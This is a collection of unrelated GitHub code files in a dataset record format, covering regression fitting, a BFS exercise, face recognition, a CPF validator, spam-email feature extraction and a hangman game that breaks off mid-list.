L2 -------------------------------------------------------------------------------- \r\nn_iterations = 500\r\nlearning_rate = 0.00001\r\nw = random.uniform(-10,10)\r\nb = random.uniform(-10,10)\r\ncost_history = []\r\nprint(W ,B )\r\nW , B , cost_history = train_l2 ( x , y_hat , w , b ,learning_rate , n_iterations )\r\nprint(W ,B )\r\n# draw plot for L2\r\nshow_plot_l2(x , y_hat ,W , B , n_iterations , cost_history)\r\n\r\n# L1 --------------------------------------------------------------------------------\r\ncost_his = []\r\nw , b , cost_his = train_l1 ( x , y_hat , n_iterations )\r\nprint( w , b)\r\ny_tilda = x*w+ b\r\nplt.plot(x , Y , c = 'blue')\r\nplt.scatter(x ,y_hat, c='purple') # show data point\r\nplt.plot(x , y_tilda ,ls = '--', c = 'green')\r\nplt.xlabel('x axis ')\r\nplt.ylabel('y_hat axis')\r\nplt.grid()\r\nplt.title('Norm - L1 ')\r\nplt.show()\r\n\r\nplt.plot(np.arange(n_iterations) , cost_his)\r\nplt.grid()\r\nplt.xlabel('Training Iterations ')\r\nplt.ylabel('Mean Squared Error ')\r\nplt.title('Error rate')\r\nplt.show()\r\n\r\n# Linfini --------------------------------------------------------------------------------\r\n\r\ncost_his = []\r\nw , b , cost_his = train_linfi ( x , y_hat , n_iterations )\r\nprint(\"w' = %f , b' = %f\" %(w , b))\r\ny_tilda = x*w+ b\r\n\r\nplt.plot(x , Y , c = 'blue')\r\nplt.scatter(x ,y_hat, c='purple') # show data point\r\nplt.plot(x , y_tilda ,ls = '--', c = 'green')\r\nplt.xlabel('x axis ')\r\nplt.ylabel('y_hat axis')\r\nplt.grid()\r\nplt.title('Norm - Linfinity ')\r\nplt.show()\r\n\r\nplt.plot(np.arange(n_iterations) , cost_his)\r\nplt.grid()\r\nplt.xlabel('Training Iterations ')\r\nplt.ylabel('Mean Squared Error ')\r\nplt.title('Error rate')\r\nplt.show()\r\n\r\n# L0 --------------------------------------------------------------------------------\r\n\r\n\r\nw_ans , b_ans = train_l0 ( x , y_hat ,n)\r\n\r\ny_ans = x * w_ans + b_ans\r\nprint(\"w' = %f , b' = %f\" %(w_ans, b_ans))\r\n\r\nplt.plot(x , Y , c = 'blue')\r\nplt.scatter(x ,y_hat, c='purple') # show data point\r\nplt.plot(x , y_ans ,ls = '--', c = 'green')\r\nplt.xlabel('x axis ')\r\nplt.ylabel('y_hat axis')\r\nplt.grid()\r\nplt.title('Norm - L0 ')\r\nplt.show()","repo_name":"ParisanSH/Fitting-a-Linear-Model-by-Minimizing-the-Error-Norm","sub_path":"main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8849,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21784449113","text":"from collections import deque\nn, k = map(int, input().split())\noranges = [list(map(int, input().split())) for _ in range(n)]\nvisited = [[-3 for _ in range(n)] for _ in range(n)]\nq = deque([])\nt = deque([])\n# 귤 개수 넣기\nt.append(k)\n\ndef inRange(x, y):\n return 0 <= x < n and 0 <= y < n\n\ndef check(x, y):\n # 범위 안에 있는지\n if not inRange(x,y): return False\n if visited[x][y] != -3: return False\n return True\n\ndef push(x, y, d):\n if d != -1:\n q.append((x, y))\n visited[x][y] = d\n\ndef BFS():\n # direction -상 하 좌 우\n dx = (-1, 1, 0 , 0)\n dy = (0, 0, 1, -1)\n\n time = 1\n while t:\n count = t.popleft()\n for _ in range(count):\n x, y = q.popleft()\n for i in range(4):\n next_x, next_y = x + dx[i], y + dy[i]\n if check(next_x, next_y):\n push(next_x, next_y, time)\n if len(q): t.append(len(q))\n time += 1\n \n\n \n# 시작 점 => queue에 넣기\n# # 미리 0인 부분 -1로 change\nfor x in range(n):\n for y in range(n):\n if oranges[x][y] == 2:\n push(x, y, 0)\n if oranges[x][y] == 0:\n push(x, y, -1)\n\n\nBFS()\n# 출력문\nfor x in range(n):\n for y in range(n):\n if visited[x][y] == -3: print(-2, end = ' ')\n else: print(visited[x][y], end = ' ')\n print()","repo_name":"Juyoung4/StudyAlgorithm","sub_path":"School/01-21/과제/orange.py","file_name":"orange.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31855241703","text":"from GazeDetection.training_generation import create_training_data\nimport argparse\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"gaze_path\", help=\"Full path of the Columbia Gaze Data Set\")\nparser.add_argument(\"output_file\", help=\"Training Data Output File Path\")\nargs = parser.parse_args()\ncreate_training_data(args.gaze_path, args.output_file)\n\n","repo_name":"jpackard18/ml-topics","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5434500095","text":"import face_recognition as frec\nimport cv2\nimport numpy as np\nimport json\n\n# Reference to webcam\nvideo_capture = cv2.VideoCapture(0)\n\nclass Face_Recog:\n def __init__(self):\n self.known_faces = self.load_known_faces()\n self.face_buffer = []\n self.face_i = 0\n # Starting main loop\n self.face_rec_loop()\n self.close_release_quit()\n\n def face_rec_loop(self):\n process_this_frame = True\n while True:\n ret, frame = video_capture.read()\n small_frame = cv2.resize(frame, (0, 0), fx=0.5, fy=0.5)\n if process_this_frame:\n face_locations = frec.face_locations(small_frame)\n if face_locations:\n face_encodings = frec.face_encodings(small_frame, face_locations)\n self.name_faces(face_locations, face_encodings, frame)\n # Show frame\n cv2.imshow('Video', frame)\n # Limit processing\n process_this_frame = not process_this_frame\n # To exit readloop\n if cv2.waitKey(1) & 0xFF == ord('q'):\n return\n\n def add_face(self, faces):\n for i, face in enumerate(faces):\n if i != 0:\n new_face += face\n else:\n new_face = face\n new_face /= len(faces)\n obj = {}\n obj['name'] = input('What is the name of the person?\\n-> ')\n if obj['name'] == 'n':\n return\n obj['encoding'] = new_face.tolist()\n self.known_faces.append(obj)\n self.save_face_to_file(self.known_faces)\n\n def name_faces(self, face_locations, face_encodings, frame):\n found = False\n for (top, right, bottom, left), face_enc in zip(face_locations, face_encodings):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n top *= 2\n right *= 2\n bottom *= 2\n left *= 2\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n # Draw a label with a name below the face\n cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n font = cv2.FONT_HERSHEY_DUPLEX\n if len(self.known_faces) > 0:\n for known in self.known_faces:\n if frec.compare_faces([known['encoding']], face_enc)[0]:\n cv2.putText(frame, known['name'], (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)\n found = True\n break\n else:\n cv2.putText(frame, 'Uknown', (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)\n if not found:\n cv2.putText(frame, 'Uknown', (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)\n self.get_to_know(face_enc)\n found = False\n\n def get_to_know(self, face_encoding):\n if len(self.face_buffer) == 0:\n self.face_buffer.append(face_encoding)\n elif len(self.face_buffer) > 0:\n if frec.compare_faces([self.face_buffer[self.face_i]], face_encoding):\n self.face_buffer.append(face_encoding)\n self.face_i += 1\n else:\n del self.face_buffer[:]\n if len(self.face_buffer) == 10:\n self.add_face(self.face_buffer)\n del self.face_buffer[:]\n self.face_i = 0\n\n def load_known_faces(self):\n with open('faces.json') as json_data:\n return json.load(json_data)\n\n def save_face_to_file(self, json_face):\n with open(\"faces.json\", \"w\") as outfile:\n json.dump(json_face, outfile, indent=4)\n\n def close_release_quit(self):\n video_capture.release()\n cv2.destroyAllWindows()\n\nFace_Recog()\n","repo_name":"ifimikro/mikrorobot_recognize","sub_path":"mikro_face.py","file_name":"mikro_face.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26094776180","text":"#/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport multiprocessing\nimport time\n\ndef func(msg):\n print(\"msg:\",msg)\n time.sleep(3)\n print(\"end\")\n\nif __name__ == '__main__':\n pool = multiprocessing.Pool(3)\n for i in range(7):\n msg = \"hello %d\" %(i)\n pool.apply_async(func, (msg,)) #维持秩序的进程总数为3个,当一个进程执行完毕后,会添加到新的进程进去。\n\n print(\"Mark~ Mark~ Mark................\")\n pool.close() #调用join之前,先调用close函数,否则会报错。执行完close后不会有新的进程加入到pool,join函数等待所有子进程结束。\n pool.join()\n print(\"Sub-process(es) done.\")","repo_name":"linwiker/learpython","sub_path":"python3/multiprocess_demo/multiprocess_Pool_1.py","file_name":"multiprocess_Pool_1.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41179456893","text":"import argparse\nimport copy\nimport datetime\nimport gc\nimport os\nimport sys\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\nimport ITrackerData_person_tensor as data_gen\nimport swpathnet_func_eyetracker\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# n_layer = 4\n#\n# # Directed Graph\n# G = nx.DiGraph()\n# # G.add_nodes_from([i for i in range(n_layer * 2)])\n#\n# edges = []\n# edges.append(('start', 0, 1))\n# edges.append(('start', 1, 10))\n# for i in range(n_layer * 2 - 2):\n# edges.append((i, (i // 2) * 2 + 2, 0.5))\n# edges.append((i, (i // 2) * 2 + 3, 0.5))\n# G.add_weighted_edges_from(edges)\n#\n# # 1 : trainable\n# # 0 : frozen\n# atr = {n: 1 if n % 2 != 0 else 0\n# for i, n in enumerate(G.nodes) if isinstance(n, int)}\n#\n# nx.set_node_attributes(G, atr, 'labels')\n#\n# print(dict(G.edges))\n#\n# weights = 0\n# next = []\n# edges = G.out_edges('start')\n# for x in edges:\n# weights += G.edges[x]['weight']\n#\n# probability = []\n# for x in edges:\n# probability.append(G.edges[x]['weight'] / weights)\n#\n# next = np.random.choice([edge[1] for edge in edges], p=probability)\n# print(\"next is {}\".format(next))\n#\n# paths = []\n# print('node label is {}'.format(G.nodes[next]['labels']))\n# paths.append(G.nodes[next]['labels'])\n#\n# print(probability)\n# for i in range(n_layer - 1):\n# print(G.out_edges(next))\n# weights = 0\n# edges = G.out_edges(next)\n# for x in edges:\n# weights += G.edges[x]['weight']\n#\n# probability = []\n# for x in edges:\n# probability.append(G.edges[x]['weight'] / weights)\n#\n# next = np.random.choice([edge[1] for edge in edges], p=probability)\n# # print(a)\n#\n# paths.append(G.nodes[next]['labels'])\n#\n# print(paths)\n#\n# # set node's position\n# pos = {}\n# for i, n in enumerate(G.nodes):\n# if isinstance(n, int):\n# pos[n] = (n // 2 + 1, n % 2 + 1)\n# else:\n# pos[n] = (0, 1.5)\n\n# show graph\n# nx.draw_networkx(G, pos, with_labels=True)\n# plt.show()\n\n\nclass BinaryAntColony:\n def __init__(self, n_layer,\n evapolate_rate=0.9,\n initialize_method='uniform',\n offset=0.1):\n # レイヤ数の設定\n self.n_layer = n_layer\n\n # 蒸発率の設定\n self.evapolate_rate = evapolate_rate\n\n if initialize_method == 'uniform':\n initial_parameter = 0.5\n else:\n initial_parameter = 0\n\n edges = []\n\n # make graph\n self.G = nx.DiGraph()\n edges.append(('start', 0, initial_parameter))\n edges.append(('start', 1, initial_parameter))\n for k in range(n_layer * 2 - 2):\n edges.append((k, (k // 2) * 2 + 2, initial_parameter))\n edges.append((k, (k // 2) * 2 + 3, initial_parameter))\n self.G.add_weighted_edges_from(edges)\n\n # 1 : trainable\n # 0 : frozen\n atr = {n: 1 if n % 2 != 0 else 0\n for i, n in enumerate(self.G.nodes) if isinstance(n, int)}\n\n nx.set_node_attributes(self.G, atr, 'labels')\n\n # フェロモンでpathを生成\n def gen_path(self):\n weights_sum = 0\n next = []\n edges = self.G.out_edges('start')\n for x in edges:\n weights_sum += self.G.edges[x]['weight']\n\n probability = []\n for x in edges:\n probability.append(self.G.edges[x]['weight'] / weights_sum)\n\n next = np.random.choice([edge[1] for edge in edges], p=probability)\n print(\"next is {}\".format(next))\n\n path = []\n print('node label is {}'.format(self.G.nodes[next]['labels']))\n path.append(self.G.nodes[next]['labels'])\n\n print(probability)\n for i in range(self.n_layer - 1):\n print(self.G.out_edges(next))\n weights_sum = 0\n edges = self.G.out_edges(next)\n for x in edges:\n weights_sum += self.G.edges[x]['weight']\n\n probability = []\n for x in edges:\n probability.append(self.G.edges[x]['weight'] / weights_sum)\n\n next = np.random.choice([edge[1] for edge in edges], p=probability)\n # print(a)\n\n path.append(self.G.nodes[next]['labels'])\n\n print(path)\n\n return path\n\n # フェロモンの更新\n def update_pheromone(self, path, acc):\n\n # evaporation\n weights = nx.get_edge_attributes(self.G, 'weight')\n for k,v in weights.items():\n weights[k] = v * self.evapolate_rate\n\n nx.set_edge_attributes(self.G, values=weights)\n\n pheromone = 1/acc\n pre = -1\n for node in path:\n if pre >= 0:\n self.G.edges[(pre, node)]['weight'] += 1 / acc\n pre = node\n else:\n self.G.edges[('start', node)]['weight'] += 1 / acc\n pre = node\n","repo_name":"Daigo-Kanda/StepWise-Pathnet","sub_path":"baa.py","file_name":"baa.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11521655269","text":"\"\"\"Elastic Net Regressor.\"\"\"\nimport pandas as pd\nfrom sklearn.linear_model import ElasticNet as SKElasticNet\nfrom skopt.space import Real\n\nfrom evalml.model_family import ModelFamily\nfrom evalml.pipelines.components.estimators import Estimator\nfrom evalml.problem_types import ProblemTypes\n\n\nclass ElasticNetRegressor(Estimator):\n \"\"\"Elastic Net Regressor.\n\n Args:\n alpha (float): Constant that multiplies the penalty terms. Defaults to 0.0001.\n l1_ratio (float): The mixing parameter, with 0 <= l1_ratio <= 1. Only used if penalty='elasticnet'. Setting l1_ratio=0 is equivalent to using penalty='l2',\n while setting l1_ratio=1 is equivalent to using penalty='l1'. For 0 < l1_ratio <1, the penalty is a combination of L1 and L2. Defaults to 0.15.\n max_iter (int): The maximum number of iterations. Defaults to 1000.\n random_seed (int): Seed for the random number generator. Defaults to 0.\n \"\"\"\n\n name = \"Elastic Net Regressor\"\n hyperparameter_ranges = {\n \"alpha\": Real(0, 1),\n \"l1_ratio\": Real(0, 1),\n }\n \"\"\"{\n \"alpha\": Real(0, 1),\n \"l1_ratio\": Real(0, 1),\n }\"\"\"\n model_family = ModelFamily.LINEAR_MODEL\n \"\"\"ModelFamily.LINEAR_MODEL\"\"\"\n supported_problem_types = [\n ProblemTypes.REGRESSION,\n ProblemTypes.TIME_SERIES_REGRESSION,\n ]\n \"\"\"[\n ProblemTypes.REGRESSION,\n ProblemTypes.TIME_SERIES_REGRESSION,\n ]\"\"\"\n\n def __init__(\n self,\n alpha=0.0001,\n l1_ratio=0.15,\n max_iter=1000,\n random_seed=0,\n **kwargs,\n ):\n parameters = {\n \"alpha\": alpha,\n \"l1_ratio\": l1_ratio,\n \"max_iter\": max_iter,\n }\n parameters.update(kwargs)\n en_regressor = SKElasticNet(random_state=random_seed, **parameters)\n super().__init__(\n parameters=parameters,\n component_obj=en_regressor,\n random_seed=random_seed,\n )\n\n @property\n def feature_importance(self):\n \"\"\"Feature importance for fitted ElasticNet regressor.\"\"\"\n return pd.Series(self._component_obj.coef_)\n","repo_name":"alteryx/evalml","sub_path":"evalml/pipelines/components/estimators/regressors/elasticnet_regressor.py","file_name":"elasticnet_regressor.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":664,"dataset":"github-code","pt":"32"} +{"seq_id":"9700971811","text":"import pandas as pd\r\nimport tensorflow.keras as keras\r\nimport tensorflow as tf\r\n# from imblearn.over_sampling import RandomOverSampler\r\nfrom sklearn.utils import shuffle\r\n\r\nfrom typing import List, Tuple\r\n\r\n# tokenizer = BertTokenizer.from_pretrained(\"hfl/chinese-roberta-wwm-ext\")\r\n\r\n\r\nclass Preprocessor:\r\n \"\"\"\r\n For sentiment classification mission, {'negative': 0, 'positive': 1}\r\n \"\"\"\r\n\r\n def __init__(self, data: pd.DataFrame, mode, imbalance_sample, tokenizer):\r\n self.data = data.copy()\r\n if imbalance_sample is True:\r\n print('doing random oversampling')\r\n train_X, train_y = self.data.content.values.reshape(-1, 1), self.data.label.values.reshape(-1, 1)\r\n ros = RandomOverSampler(sampling_strategy='minority')\r\n train_X, train_y = ros.fit_resample(train_X, train_y)\r\n # Need to assert that train_X[:, 0] must be content!!!!!\r\n self.data = shuffle(pd.DataFrame({'content': train_X[:, 0], 'label': train_y})).reset_index(drop=True)\r\n\r\n self.mode = mode\r\n\r\n self.tokenizer = tokenizer\r\n\r\n def __getitem__(self, idx):\r\n \"\"\"\r\n :rtype: Tuple(List...)\r\n :return: tokens_tensors : (batch_size, max_seq_len_in_batch)\r\n segments_tensors: (batch_size, max_seq_len_in_batch)\r\n masks_tensors : (batch_size, max_seq_len_in_batch)\r\n label_ids : (batch_size)\r\n \"\"\"\r\n\r\n tokenize = self.tokenizer.encode_plus(self.data.content.values[idx])\r\n\r\n wordpiece_token = tokenize['input_ids']\r\n\r\n segments_token = tokenize['token_type_ids']\r\n\r\n attention_mask = tokenize['attention_mask']\r\n\r\n if self.mode == 'train':\r\n label_tensor = self.data.label.values[idx]\r\n # label_tensor = to_categorical(label_tensor, num_classes=2)\r\n return wordpiece_token, segments_token, attention_mask, label_tensor\r\n else:\r\n return wordpiece_token, segments_token, attention_mask\r\n\r\n\r\nclass DataLoader(Preprocessor):\r\n\r\n def __init__(self, data, MAX_SEQUENCE_LENGTH, batch_size, imbalance_sample, tokenizer=None, mode='train'):\r\n super(DataLoader, self).__init__(data, mode, imbalance_sample, tokenizer)\r\n self.batch_size = batch_size\r\n self.MAX_SEQUENCE_LENGTH = MAX_SEQUENCE_LENGTH\r\n self.mode = mode\r\n\r\n def __iter__(self):\r\n\r\n start = 0\r\n end = self.batch_size\r\n while start <= len(self.data) and start != end:\r\n\r\n output: List[Tuple] = [self[i] for i in range(start, end)]\r\n\r\n wordpiece_token, segements_token, attention_mask, label_token = [], [], [], []\r\n for t in output:\r\n wordpiece_token.append(t[0])\r\n segements_token.append(t[1])\r\n attention_mask.append(t[2])\r\n if self.mode == 'train':\r\n label_token.append(t[3])\r\n\r\n # Padding\r\n res = tuple()\r\n for token in [wordpiece_token, segements_token, attention_mask]:\r\n t = keras.preprocessing.sequence.pad_sequences(token, maxlen=self.MAX_SEQUENCE_LENGTH, padding='post')\r\n t = tf.convert_to_tensor(t)\r\n res += (t,)\r\n\r\n res = ((res), tf.convert_to_tensor(label_token),) if label_token else res\r\n\r\n yield res # wordpiece_token, segement_token, attention_mask, or label_token\r\n start += self.batch_size\r\n end = len(self.data) if start + self.batch_size > len(self.data) else start + self.batch_size\r\n\r\n\r\n","repo_name":"ChingHuanChiu/sentiment","sub_path":"processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15628034513","text":"import re\nfrom django.core.exceptions import ValidationError\nfrom validate_docbr import CPF\n\n\n# Aplicando a máscara no CPF ou CNPJ\ndef formatar_cpf(value):\n # Removendo caracteres não numéricos do valor\n cleaned_value = re.sub(r'[^0-9]', '', value)\n\n if len(cleaned_value) == 11:\n return '{}.{}.{}-{}'.format(cleaned_value[:3], cleaned_value[3:6], cleaned_value[6:9], cleaned_value[9:])\n else:\n raise ValidationError('Favor informar um CPF ou CNPJ válido')\n\n# Validando CPF ou CNPJ com a máscara\ndef validar_cpf(value):\n # Formate o valor com a máscara\n value = formatar_cpf(value)\n \n # Remova a máscara para validação\n cleaned_value = re.sub(r'[^0-9]', '', value)\n\n # Verifique se o número pertence a um CPF\n if len(cleaned_value) == 11:\n cpf_instance = CPF()\n if not cpf_instance.validate(cleaned_value):\n raise ValidationError('CPF inválido')\n else:\n raise ValidationError('Favor informar um CPF válido')","repo_name":"lgustavoss/api_inventario","sub_path":"colaborador/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"865992478","text":"import argparse\nimport pandas as pd\nfrom sklearn import model_selection as ms\n\n\ndef model_assessment(filename):\n \"\"\"\n Given the entire data, decide how\n you want to assess your different models\n to compare perceptron, logistic regression,\n and naive bayes, the different parameters, \n and the different datasets.\n \"\"\"\n # Default values for the split, sklearn seems solid\n with open(filename) as myfile:\n lines = myfile.readlines()\n\n df = pd.DataFrame(lines)\n\n y = df[0].str.extract('(\\d+)').astype(int)\n df1 = df[0].str[1:]\n X = pd.DataFrame(df1)\n\n X_train, X_test, y_train, y_test = ms.train_test_split(X, y)\n\n return X_train, X_test, y_train, y_test\n\n\ndef build_vocab_map(X_train):\n df1 = X_train[0].str[1:]\n vocab_map = {}\n # Build complete dictionary\n for row in df1:\n words = row.split()\n words = set(words)\n for word in words:\n if word in vocab_map:\n vocab_map[word] += 1\n else:\n vocab_map[word] = 1\n # Filter all words not in at least 30 emails out\n for key in list(vocab_map.keys()):\n if vocab_map[key] < 30:\n del vocab_map[key]\n return vocab_map\n\n\ndef construct_binary(vocab_map, X_train, X_test):\n \"\"\"\n Construct the email datasets based on\n the binary representation of the email.\n For each e-mail, transform it into a\n feature vector where the ith entry,\n $x_i$, is 1 if the ith word in the \n vocabulary occurs in the email,\n or 0 otherwise\n \"\"\"\n X_train_list = []\n X_train_binary = pd.DataFrame()\n X_test_list = []\n X_test_binary = pd.DataFrame()\n\n # use string append for speed\n for index, row in X_train.iterrows():\n s = \"\"\n text = row[0]\n words = text.split()\n for word in vocab_map:\n if word in words:\n s += \"1 \"\n else:\n s += \"0 \"\n X_train_list.append(s)\n\n # list to df to return results\n X_train_binary['binary'] = X_train_list\n X_train_binary = X_train_binary.binary.str.split(expand=True)\n X_train_binary.columns = vocab_map\n\n for index, row in X_test.iterrows():\n s = \"\"\n text = row[0]\n words = text.split()\n for word in vocab_map:\n if word in words:\n s += \"1 \"\n else:\n s += \"0 \"\n X_test_list.append(s)\n\n X_test_binary['binary'] = X_test_list\n X_test_binary = X_test_binary.binary.str.split(expand=True)\n X_test_binary.columns = vocab_map\n\n return X_train_binary, X_test_binary\n\n\ndef construct_count(vocab_map, X_train, X_test):\n \"\"\"\n Construct the email datasets based on\n the count representation of the email.\n For each e-mail, transform it into a\n feature vector where the ith entry,\n $x_i$, is the number of times the ith word in the \n vocabulary occurs in the email,\n or 0 otherwise\n \"\"\"\n X_train_list = []\n X_train_count = pd.DataFrame()\n X_test_list = []\n X_test_count = pd.DataFrame()\n\n # use string append for speed\n for index, row in X_train.iterrows():\n s = \"\"\n text = row[0]\n words = text.split()\n for word in vocab_map:\n if word in words:\n counted = words.count(word)\n s += str(counted) + \" \"\n else:\n s += \"0 \"\n X_train_list.append(s)\n\n # list to df to return results\n X_train_count['counter'] = X_train_list\n X_train_count = X_train_count.counter.str.split(expand=True)\n X_train_count.columns = vocab_map\n\n for index, row in X_test.iterrows():\n s = \"\"\n text = row[0]\n words = text.split()\n for word in vocab_map:\n if word in words:\n counted = words.count(word)\n s += str(counted) + \" \"\n else:\n s += \"0 \"\n X_test_list.append(s)\n\n # list to df to return results\n X_test_count['counter'] = X_test_list\n X_test_count = X_test_count.counter.str.split(expand=True)\n X_test_count.columns = vocab_map\n\n return X_train_count, X_test_count\n\n\ndef main():\n \"\"\"\n Main file to run from the command line.\n \"\"\"\n # set up the program to take in arguments from the command line\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--data\",\n default=\"spamAssassin.data\",\n help=\"filename of the input data\")\n args = parser.parse_args()\n\n # Run methods\n X_train, X_test, y_train, y_test = model_assessment(args.data)\n\n vocab_map = build_vocab_map(X_train)\n\n binary_xtrain, binary_xtest = construct_binary(vocab_map, X_train, X_test)\n\n count_xtrain, count_xtest = construct_count(vocab_map, X_train, X_test)\n\n # Load into usable Data for other questions\n binary_xtrain.to_csv(r'binary_xtrain.csv', index=False)\n binary_xtest.to_csv(r'binary_xtest.csv', index=False)\n count_xtrain.to_csv(r'count_xtrain.csv', index=False)\n count_xtest.to_csv(r'count_xtest.csv', index=False)\n\n X_train.to_csv(r'xTrain.csv', index=False)\n X_test.to_csv(r'xTest.csv', index=False)\n\n y_train.to_csv(r'yTrain.csv', index=False)\n y_test.to_csv(r'yTest.csv', index=False)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ericygu/Naive-Bayes-Logistic-Regression","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":5305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3918295125","text":"# Dictionary that maps keys to more than one value.\n\nd = {\n 'a': [ 1,2,3 ],\n 'b': [ 4,5]\n }\nprint(d['a'])\nprint(d['b'])\n\ne = {\n 'a': {1,2,3,10,6,7,8,8,8,8},\n 'b': { 4,5}\n }\n\nprint(e['a'])\nprint(e['b'])\n\n\nfrom collections import defaultdict\n\ndl = defaultdict(list)\n\ndl['a'].append(1)\ndl['a'].append(2)\ndl['a'].append(9)\ndl['a'].append(7)\n\nprint(dl['a'])\n\nprint(dl['b'])\n\nprint(dl)\n\n\nds = defaultdict(set)\nds['a'].add(1)\nds['a'].add(1)\nds['a'].add(1)\nds['a'].add(2)\nds['a'].add(9)\nds['a'].add(7)\n\n\nprint(ds['a'])\n","repo_name":"usapes2/CodeJams","sub_path":"cookbook/1.6MappingKeysMultipleValuesInaDictionary.py","file_name":"1.6MappingKeysMultipleValuesInaDictionary.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16354748769","text":"import PySimpleGUI as sg\nimport random\n\nheader = [[sg.Text('Wisielec')]]\nbuttons_bottom = [[sg.Button('Nowa gra', key='-NEW_GAME-', size=(20, 15)), sg.Button('Wyjdz', key='-EXIT-', size=(20, 15))]]\n\nlayout = [\n [sg.Frame('', header, size=(400, 30), vertical_alignment='center', element_justification='center')],\n [sg.Text('Kategoria: ', key='-CATEGORY-')],\n [sg.Text('Uzyte litery: ', size=(50, 2), key='-USED_LETTERS-')],\n [sg.Text('Zycia: ', key='-LIFES-')],\n [sg.Text('Odgadywane slowo: ', key='-WORD-')],\n [sg.Input(size=(25, 1), key='-INPUT-', disabled=True), sg.Button('Sprawdz', key='-SEND-', size=(25, 1), disabled=True)],\n [sg.Text('', key='-INFO-')],\n [sg.Frame('Dominik Szymański, 26071', buttons_bottom, size=(400, 60), vertical_alignment='center', element_justification='center')]\n]\n\nwindow = sg.Window('Window Title', layout)\n\n\nwords = [\n {'word': 'truskawka', 'category': 'owoc'},\n {'word': 'samochod', 'category': 'pojazd'},\n {'word': 'komputer', 'category': 'sprzet elektroniczny'},\n {'word': 'biurko', 'category': 'mebel'},\n {'word': 'kangur', 'category': 'zwierze'},\n {'word': 'zlodziej', 'category': 'zawod'},\n {'word': 'zeszyt', 'category': 'przedmiot szkolny'},\n {'word': 'motocykl', 'category': 'pojazd'},\n {'word': 'goryl', 'category': 'zwierze'},\n {'word': 'laptop', 'category': 'sprzet elektroniczny'},\n {'word': 'butelka', 'category': 'przedmiot codziennego uzytku'},\n {'word': 'zolw', 'category': 'zwierze'},\n {'word': 'skrzypce', 'category': 'instrument muzyczny'},\n {'word': 'lampka', 'category': 'przedmiot codziennego uzytku'},\n {'word': 'wino', 'category': 'napoj alkoholowy'},\n {'word': 'pralka', 'category': 'sprzet AGD'},\n {'word': 'pajak', 'category': 'owad'},\n {'word': 'ksiazka', 'category': 'przedmiot szkolny'},\n {'word': 'cukier', 'category': 'produkt spozywczy'},\n {'word': 'rower', 'category': 'pojazd'},\n {'word': 'delfin', 'category': 'zwierze'},\n {'word': 'telewizor', 'category': 'sprzet RTV'},\n {'word': 'drzewo', 'category': 'roslina'},\n {'word': 'rak', 'category': 'zwierze'},\n {'word': 'skarbonka', 'category': 'przedmiot codziennego uzytku'},\n {'word': 'guma do zucia', 'category': 'slodycz'},\n {'word': 'kawa', 'category': 'napoj'},\n {'word': 'zarowka', 'category': 'przedmiot domowy'},\n {'word': 'pianino', 'category': 'instrument muzyczny'},\n {'word': 'motyl', 'category': 'owad'},\n {'word': 'kotlet', 'category': 'danie miesne'},\n {'word': 'kon', 'category': 'zwierze'},\n {'word': 'lampa', 'category': 'przedmiot domowy'},\n {'word': 'kanapka', 'category': 'jedzenie'},\n {'word': 'swinka morska', 'category': 'zwierze'},\n {'word': 'kurtka', 'category': 'ubranie'},\n {'word': 'ryba', 'category': 'zwierze wodne'},\n {'word': 'olowek', 'category': 'przedmiot szkolny'},\n {'word': 'lody', 'category': 'slodycz'},\n {'word': 'zaba', 'category': 'zwierze'},\n {'word': 'mikrofalowka', 'category': 'sprzet AGD'},\n {'word': 'konik polny', 'category': 'zwierze'},\n {'word': 'dzwonek', 'category': 'przedmiot domowy'},\n {'word': 'piec', 'category': 'przedmiot domowy'},\n {'word': 'pociag', 'category': 'pojazd'},\n {'word': 'zaglowka', 'category': 'pojazd wodny'},\n {'word': 'kawalek sera', 'category': 'jedzenie'},\n {'word': 'mucha', 'category': 'owad'},\n {'word': 'przycisk', 'category': 'przedmiot elektroniczny'},\n {'word': 'telefon', 'category': 'sprzet elektroniczny'},\n {'word': 'waz', 'category': 'zwierze'},\n {'word': 'glowa', 'category': 'czesc ciala'},\n {'word': 'gruszka', 'category': 'owoc'},\n {'word': 'roleta', 'category': 'przedmiot domowy'},\n {'word': 